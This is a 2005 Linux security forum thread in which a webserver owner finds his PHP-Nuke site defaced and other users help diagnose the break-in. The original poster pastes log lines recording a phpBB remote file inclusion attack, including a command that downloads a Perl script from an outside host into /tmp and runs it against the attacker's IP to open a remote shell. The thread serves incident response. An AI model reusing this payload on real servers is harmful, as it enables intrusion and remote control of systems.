LinuxQuestions.org
Share your knowledge at the LQ Wiki.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 05-25-2005, 10:39 PM   #1
mrfreeze
LQ Newbie
 
Registered: Jul 2004
Posts: 7

Rep: Reputation: 0
Unhappy SegmentationFault Ownz You id;uname -a ??? what is this?


Hi all I have had a webserver up for about a year now and today I got up to somthing strange.... my desktop has no icons on it and I cant find any on the system at all all my files look like a document file including my folders. and my web page has reverted back to the setup page where it says
( Test Page )
This page is used to test the proper operation of the Apache Web server after it has been installed. If you can read this page, it means that the Apache Web server installed at this site is working properly.

I can access my web if I put admin.php at the of my webaddress but if I try to got to some links on my web I get this......

SegmentationFault Ownz You
id;uname -a
uid=0(root) gid=0(root) groups=48(apache),501(airsoft)
Linux localhost.localdomain 2.4.20-31.9 #1 Tue Apr 13 17:38:16 EDT 2004 i686 athlon i386 GNU/Linux
EOF

Please dont tell me I was hacked......
 
Old 05-25-2005, 11:12 PM   #2
johnson_steve
Senior Member
 
Registered: Apr 2005
Location: BrewCity, USA (Milwaukee, WI)
Distribution: Xubuntu 9.10, Gentoo 2.6.27 (AMD64), Darwin 9.0.0 (arm)
Posts: 1,152

Rep: Reputation: 46
yes that looks like a note from someone going by the name SegmentationFault

id shows his user info (to show you he was root when he did this)

uname -a lists info about your system; but this was kind of dumb of him cause now you know exactly when he broke in and you may be able to check the logs and track him down.
 
Old 05-25-2005, 11:19 PM   #3
Capt_Caveman
Senior Member
 
Registered: Mar 2003
Distribution: Fedora
Posts: 3,658

Rep: Reputation: 69
Re: SegmentationFault Ownz You id;uname -a ??? what is this?

Quote:
Originally posted by mrfreeze
Please dont tell me I was hacked......
Sorry, but it sounds very much like that's the case. You can download and run rkhunter or chkrootkit to be extra sure, but the defacement of your webpage looks similar to these:
http://www.google.com/search?q=Segme...Fault+Ownz+You

You can also try looking through your logs, check the output of 'last' for abnormal logins, check /etc/passwd for abnormal entries, check for abnormal SUID/SGID files, and for odd files/dirs especially in /tmp. To be honest though it sounds very likely that you've been compromised, especially if you've been running old versions of PHP. So you'll need to do a full format and re-install from trusted media (not from a backup).
 
Old 05-25-2005, 11:48 PM   #4
mrfreeze
LQ Newbie
 
Registered: Jul 2004
Posts: 7

Original Poster
Rep: Reputation: 0
Would this be him here?

200-147-116-249.tlm.dialuol.com.br - - [25/May/2005:00:38:15 -0400] "GET /modules/Forums/admin/admin_styles.php?phpbb_root_path=http://www.segfaultbr.hpgvip.com.br/tool25.gif?&cmd=id;uname%20-a HTTP/1.1" 200 8868 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
200-147-116-249.tlm.dialuol.com.br - - [25/May/2005:00:38:37 -0400] "GET /modules/Forums/admin/admin_styles.php?phpbb_root_path=http://www.segfaultbr.hpgvip.com.br/tool25.gif?&cmd=wget HTTP/1.1" 200 8782 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
200-147-116-249.tlm.dialuol.com.br - - [25/May/2005:00:39:18 -0400] "GET /modules/Forums/admin/admin_styles.php?phpbb_root_path=http://www.segfaultbr.hpgvip.com.br/tool25.gif?&cmd=cd%20/tmp/;wget%20www.neoit.com/cproject/dc.pl;perl%20dc.pl%20200.147.116.249%2022 HTTP/1.1" 200 8937 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"


And how do I fix this ... if you know how would make my life so much easyer thanks
 
Old 05-25-2005, 11:50 PM   #5
Tinkster
Moderator
 
Registered: Apr 2002
Location: earth
Distribution: slackware by choice, others too :} ... android.
Posts: 23,067
Blog Entries: 11

Rep: Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928
Moved: This thread is more suitable in our Linux-Security forum, and has been moved accordingly to help your thread/question get the exposure it deserves.
 
Old 05-26-2005, 12:13 AM   #6
Capt_Caveman
Senior Member
 
Registered: Mar 2003
Distribution: Fedora
Posts: 3,658

Rep: Reputation: 69
Would this be him here?
<SNIP>
/modules/Forums/admin/admin_styles.php?phpbb_root_path=http://www.segfaultbr.hpgvip.com.br/tool25.gif?&cmd=cd%20/tmp/;wget%20www.neoit.com/cproject/dc.pl;perl%20dc.pl%20200.147.116.249%2022 HTTP/1.1" 200 8937 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

Probably. Looks like they used this vuln. You can check /tmp for the dc.pl script that's downloaded and executed by the last request, but I wouldn't be surprised if it had been removed already.

And how do I fix this ... if you know how would make my life so much easyer thanks
You can avoid getting compromised in the first place by keeping your software updated. There have been a large number of PHP and PHP-related vulnerabilities recently, so you really need to be carefull and make sure you've applied all security patches. However, you will still need to format and re-install the system.

Last edited by Capt_Caveman; 05-26-2005 at 12:15 AM.
 
Old 05-26-2005, 12:15 AM   #7
mrfreeze
LQ Newbie
 
Registered: Jul 2004
Posts: 7

Original Poster
Rep: Reputation: 0
omg I just updated my php to 7.6 on the 22nd and I get hacked on the 25th... I just tracked this guy to Brazil and he say's
F--- America SegmentationFault Ownz You

Wth... he should take a look at his country's name.
 
Old 05-26-2005, 12:32 AM   #8
Capt_Caveman
Senior Member
 
Registered: Mar 2003
Distribution: Fedora
Posts: 3,658

Rep: Reputation: 69
omg I just updated my php to 7.6 on the 22nd and I get hacked on the 25th...
Do you have any other PHP-related BB software? Could you check the versions you had installed to be sure? FWIW, PHP is only at 5.0.4, so I'm assuming you mean PHP-Nuke.

I just tracked this guy to Brazil
I'd send a polite email to each of the ISPs involved describing what happed and include relevent log messages.
 
Old 05-26-2005, 01:21 AM   #9
mrfreeze
LQ Newbie
 
Registered: Jul 2004
Posts: 7

Original Poster
Rep: Reputation: 0
Yes php-Nuke is 7.6 and my php is 4.2.2
omg IM freakin stupid I left the update file in the folder for phpbb
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Uname ? phr3nzal Linux - Software 4 10-07-2005 08:52 AM
SpyKids Ownz Your Box .... Never Stop ...... From Brasil comprookie2000 Linux - Security 2 07-04-2005 05:46 AM
uname -a Jeebizz Slackware 18 05-03-2005 04:53 PM
uname huntz Slackware 3 09-30-2004 06:53 AM
uname -a BRAHmS Linux - Newbie 1 05-11-2004 09:45 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 08:51 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration